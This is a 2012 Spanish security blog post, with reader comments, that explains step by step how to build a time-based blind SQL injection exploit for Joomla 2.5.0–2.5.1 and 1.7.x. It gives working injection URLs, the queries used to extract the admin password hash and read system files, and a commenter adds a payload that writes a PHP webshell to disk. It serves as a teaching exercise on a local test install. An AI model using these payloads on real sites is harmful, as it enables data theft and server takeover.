20 marzo 2012

Exploit de Joomla paso a paso

En esta entrada voy a tratar de explicar cómo hacer un exploit paso a paso para Joomla 2.5.0-2.5.1 o 1.7.0-1.7.5, de la forma más sencilla posible y explicando  conceptos básicos de inyecciones de SQL y alguno un poco más avanzado, ya que en este caso se hace el ataque basado en tiempo.

Para este ejercicio lo ideal es que montéis un Joomla versión 2.5.1 por defecto en vuestro sistema y podáis acceder localmente para ir haciendo las pruebas.

Hasta la fecha no hay exploit para este fallo del 29 de febrero, aunque la vulnerabilidad se conoce gracias a la nota de seguridad de Colin Wong.

Lo que me ha dejado completamente K.O., es como una vulnerabilidad tan gorda y estúpida, se ha podido colar en el código. Me ha sorprendido muchísimo que no haya sido descubierta antes, coño, si es que hasta el Acunetix, la detecta.


El primer paso es buscar donde está el bug comparando el código de la versión vulnerable: 2.5.0 ó 2.5.1, con el de la versión que lo soluciona: 2.5.2

Se descargan ambos ficheros y se descomprimen para ver que líneas han sido modificadas. Afortunadamente no hay demasiadas y es muy sencillo detectar las líneas que están afectadas por el sql injection con un simple comando "diff" (línea 8)



¡Vaya! En las dos últimas líneas del diff se ve que la variable "$current" en la nueva versión es llamada usando $db->quote() y no directamente. Sospechoso ;).

Lo siguiente es tratar de encontrar en que momento este código es ejecutado para averiguar donde se ha de inyectar el código SQL y hasta dónde se puede llegar.

Toca revisar el fichero dónde está esa línea: j-2.5.1/plugins/system/redirect/redirect.php


Tan solo por la cabecera se puede observar que es un componente del Core de Joomla que está encargado de hacer redirecciones y viendo el panel de administración, te haces una rápida idea de que función hace este plugin.


Básicamente permite hacer redirecciones en caso de que solicite una página web que no existe. Gestionando los errores y evitando que un visitante llegue a una página muerta de la web.

Ahora a leer el código del fichero más en detalle y lentamente. Por lo menos la parte más crítica:


Al margen del primer comentario (hay que ver ahora quien es el idiota). En el código se aprecia que la sentencia SQL vulnerable (línea 24) es llamada cuando no existe una redirección publicada y permanente creada para esa página (el if de la línea 18). Es decir, si por ejemplo se solicita la URL: http://localhost/joomla/index.php/AAAAA y el administrador del CMS no ha creado un redirect para esta página, mostrará un error 404 estándar de Joomla.

El siguiente paso  que da el aplicativo (de la línea 26 a la 45) es añadir la URL a la base de datos para que el administrador pueda ver que páginas se han solicitado y no existen, pero esta parte es indistinta, ya que la inyección se ha generado antes y por lo tanto es irrelevante.

¿Entonces cómo se explota? Pues tan solo hay que llamar una página del tipo: http://localhost/joomla/index.php/AAAAAA' union select ... y el código que se quiera insertar. Lo sé, parece imposible que un producto tan popular y con esta madurez aún tenga un sql injection TAN estúpido.

"El problema" para hacer uso de la vulnerabilidad es que el resultado de la inyección no es mostrado por pantalla, ni errores, ni resultados positivos/negativos y conseguir algo útil es un poco más complejo, ya que la sentencia vulnerable es usada internamente por el aplicativo y no para generar la página resultante.

Solo queda una alternativa y es hacer inyecciones basadas en tiempo. Es decir, si al solicitar la página no existente tarda 1 segundo en responder normalmente, provocar que tarde 10 según el resultado de la inyección.

El ejemplo más sencillo para detectar esta vulnerabilidad es llamar a la página de la siguiente forma: http://localhost/joomla/index.php/AAAAAA' union select sleep(10) union select '1 y observaríamos que tarda 10 segundos en devolver la página ya que la sentencia SQL vulnerable se quedará 10 segundos esperando e impidiendo la ejecución normal que devolvería la página normalmente en 1 ó 2 segundos. 

La ejecución en base de datos y completando la sentencia que se obtiene de la línea 24 con los parámetros que se han pasado, queda de la siguiente forma:

select id from tabla where old_url='http://localhost/joomla/index.php/AAAAAA' union select sleep(15) union select '1'

Ahora no queda más remedio que estudiar funciones de MySQL y ver cómo usar este comportamiento, para extraer datos. Las más importantes:
  • database(): devuelve el nombre de la base de datos: select database()
  • sleep(): ejecuta una demora de tiempo: select sleep(10)
  • length(): devuelve la longitud de una cadena: select length(database()) 
  • ascii(): devuelve el valor ascii de una cadena: select ascii("A")
  • substring() ó mid(): recorta una cadena de caracteres: select mid(database(),1,1)
  • load_file(): devuelve el contenido de un fichero: select load_file("/etc/hosts")
  • ord(): devuelve el código del valor si es multibyte o su ascii: select ord("2")
  • if(): permite devolver valores en base a los resultados de otras consultas: select if(database()="hola","yes","no") en este caso "no", ya que se llama "joomla" y no "hola"
Mezclando estas funciones se puede llegar al objetivo final. Por ejemplo, en mi base de datos que se llama "joomla":
  1. select substring(database(),1,1) devuelve el primer carácter de "joomla", es decir, la "j".
  2. select ascii(substring(database(),1,1)) devuelve el primer carácter del nombre "joomla", la "j" y luego lo convierte a su decimal ascii: 106
  3. select ascii(substring(database(),2,1)) devuelve el segundo carácter de "joomla", la "o" y luego lo convierte a su decimal ascii: 111
  4. select if(database()="joomla","si","no") comprueba si el resultado de database() es "joomla", en caso de que correcto devuelve "si", en caso de que no sea así devolverá "no".
  5. select if(ascii(substring(database(),2,1))=106,sleep(10),null) comprueba si el decimal ascii del primer carácter de database(), "106", es igual a 106, si es así, ejecuta un sleep de 10 segundos y si no, no devuelve nada.
Lo mejor, verlo en funcionamiento directamente sobre MySQL


Pues después de esto solo queda automatizar todo el proceso del ejemplo 5 para ir recorriendo cadenas de caracteres con substring() y comparar con la tabla ascii, calculando cuánto tarda la web en responder, 10 segundos o tan solo 1 ó 2.

Con estas peticiones se averigua el primer carácter de "database()":

select if(ascii(substring(database(),1,1))=1,sleep(10),null)
select if(ascii(substring(database(),1,1))=2,sleep(10),null)
select if(ascii(substring(database(),1,1))=3,sleep(10),null)
...
select if(ascii(substring(database(),1,1))=105,sleep(10),null)
select if(ascii(substring(database(),1,1))=106,sleep(10),null)    <-- en esta se ejecutará el sleep, ya que el ascii de "j" es 106 y la condición se cumple.

Una vez se detecta el retardo de 10 segundos, se pasa al siguiente carácter, modificando el substring:


select if(ascii(substring(database(),2,1))=1,sleep(10),null)
select if(ascii(substring(database(),2,1))=2,sleep(10),null)
select if(ascii(substring(database(),2,1))=3,sleep(10),null)
...

Anidando un par de bucles y calculando el tiempo se puede sacar el resultado de cualquier consulta sql. Por ejemplo con: select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users" se obtiene el nombre de la tabla donde se almacenan los usuarios y con: select password from zzzz_users limit 1, el hash de la contraseña del usuario administrador.

Si el usuario que se conecta a la base de datos tiene privilegios suficientes, también podría ejecutar load_file(), cargando un fichero del sistema, que se yo, por ejemplo el /etc/passwd

El exploit tan solo ha de automatizar este proceso, incluso puede que alguna herramienta ya desarrollada se pueda configurar para este propósito. El funcionamiento incluyendo peticiones tendría este flujo:
  1. Se obtiene la fecha del sistema
  2. Se hace petición HTTP GET con la comprobación, por ejemplo:  http://localhost/joomla/index.php/AAAAAA' union  select if(ascii(substring(database(),1,1))=1,sleep(10),null) union select '1
  3. Se vuelve a obtener la fecha del sistema
  4. Si la diferencia de tiempo entre el punto 1 y el 3 es de 10 segundos, es que la condición del 'if' se cumple, por lo que se conoce el valor ascii correcto. 
Pues eso es todo, ya solo queda optimizar y tirar línas de código que hagan el trabajo sucio.

La optimización pasa por encontrar el menor tiempo posible de espera, reduciendo los 10 segundos que se han usado durante todo el artículo a uno inferior que no genere falsas alarmas. Otra mejora consiste en no hacer tantas peticiones web, evitando recorrer toda la tabla ascii buscando el carácter válido. Para determinadas sentencias, como database(), tan solo consultar desde el decimal 32 al 90.

La última, un poco más compleja consiste en hacer una consulta con ord() y AND para averiguar los bits que compone cada byte. Con tan solo 8 peticiones se averigua el código ascii, pero si calculamos que la mitad de las peticiones tendrán como resultado un sleep(), puede tardar más que hacer hasta las 60  peticiones recorriendo la propia tabla, en la que solo un requiere un único sleep().

¡Fin! Espero que este ejercicio le haya servido a alguien. Este es el código que a mí me ha quedado:



Para los más vagos, un vídeo que espero sea explicativo.

14 comments :

dromero _ dijo...

Muy bueno el post Alex!

Por curiosidad, ¿probaste a explotar la vulnerabilidad con Havij o SQLmap?

Un Saludo!

Alejandro Ramos dijo...

La verdad es que no... pero seguro que alguna de estas funciona. Podemos volver a levantar la maquete que tenía para probar =)

Manuel Fernandez dijo...

La caña, una pasada dab.

Solo una apreciación para completar, si tienes permisos para ejecutar load_file() también tendrás para into outfile. Con esto puedes crear ficheros en disco (Siempre y cuando tengas permisos de escritura en el directorio), muy tipico para subir webshells con un union select '<?php system($_GET["c"])' into outfile '/var/www/htdocs/happy.php'

pd: Parece increible lo de acunetix!!

/Ts

Manuel Fernandez dijo...

Con respecto al comentario anterior, ¿Como cojones se ha cortado al meter el caracter menorque? xD.

Excelente post, y flipante lo del acunetix

dromero _ dijo...

Era simple curiosidad, por saber como reaccionaban.. Mucho mejor el estudio que has hecho
tú!!
Un saludo!!

Invitado dijo...

Genial el post de hoy! Muy bueno y muy currado!

Invitado dijo...

Efectivamente el video es muy explicativo, se entiende mejor así.
Por cierto, me mata el nombre del exploit xD

Antonio dijo...

Durante años este tipo de vulnerabilidades son tipicas en este CMS. No entiendo como aun siguen teniendo estos problemas de seguridad. Por cierto, metiendo caña a acunetix... jajaja

JJ dijo...

Que bueno Alejandro, me ha encantado. Apenas han pasado 4 días desde que encontré esta pagina y ahora la miro todos los días.

Alejandro Ramos dijo...

Muchas gracias a todos!

gnumax dijo...

Hola

Como lector habitual de SBF no tengo nada más que añadir a todo lo leído que "me quito es sombrero" por tan somera explicación y exposición de la vulnerabilidad. Una vez más queda demostrado porque hace años que sigo las publicaciones de este sitio web. :)

No obstante, en tono crítico, flaco favor hacen a la seguridad de miles de sitios web en producción bajo Joomla! y al CMS en particular la publicación "detallada" de este tipo de vulnerabilidades, dando pie a los SKidd.. para tomar el control de sitios web a discreción sin mayor miramiento.

No digo que haya que generar oscurantismo en torno a las vulnerabilidades, pero un "expose" en todo regla no ayuda mucho en estos casos y la víctima final no es Joomla! sino el usuario, empresa, pequeño negocio, organismo publico, IES, etc., que hace uso de la plataforma.

Saludos

gnumax dijo...

Hola

Soy seguidor habitual de SBD desde hace "bastante" tiempo y junto con las publicaciones de Chema Alonso (..un informatico...) son dos clásicos de mis lecturas cotidianas. Dicho esto quiero indicar que la publicación es somera y muy interesante desde el punto de vista de análisis del problema pero creo que improcedente y excesiva en detalles si se me permite.

Desgraciadamente los usuarios finales son los perjudicados (empresas, pequeños negocios, IES, asociaciones y todos aquellos que hacen uso de Joomla! en su día a día) y no el CMS que finalmente es solo el vehiculizador del problema de fondo: la vulnerabilidad basada en código mal escrito o no revisado a conciencia antes de su liberación.

Este tipo de publicaciones acaban rankeando exageradamente pues son demasiados los scriptKidd... que buscan como explotar por diversión y al final lo que se expone como información de culto a sysadmind y otros interesados por la seguridad acaba siendo expuesto a ojos de newbies con dudosas intenciones.

No culpo a Joomla! (Bug Squad) por no hacer siempre bien su trabajo sino a quienes programan con ligereza y a los que "sobre"-exponen las debilidades del código para que terceros se beneficien de ello y lo disfruten en Zone-H u otros lugares de su culto.

Saludos y gracias por permitir este humilde comentario finalmente. ;)

Felipe Jarenau dijo...

Muy bueno el post :)
Muy interesante y explicativo.

PD: Me gusta todo menos en la palabra "aplicativo" ¿Se ha puesto de moda ahora o qué? ¡De siempre ha sido "aplicación"!

Estela Silva dijo...

Se entiende mucho mejor con el video, como suele suceder, gracias!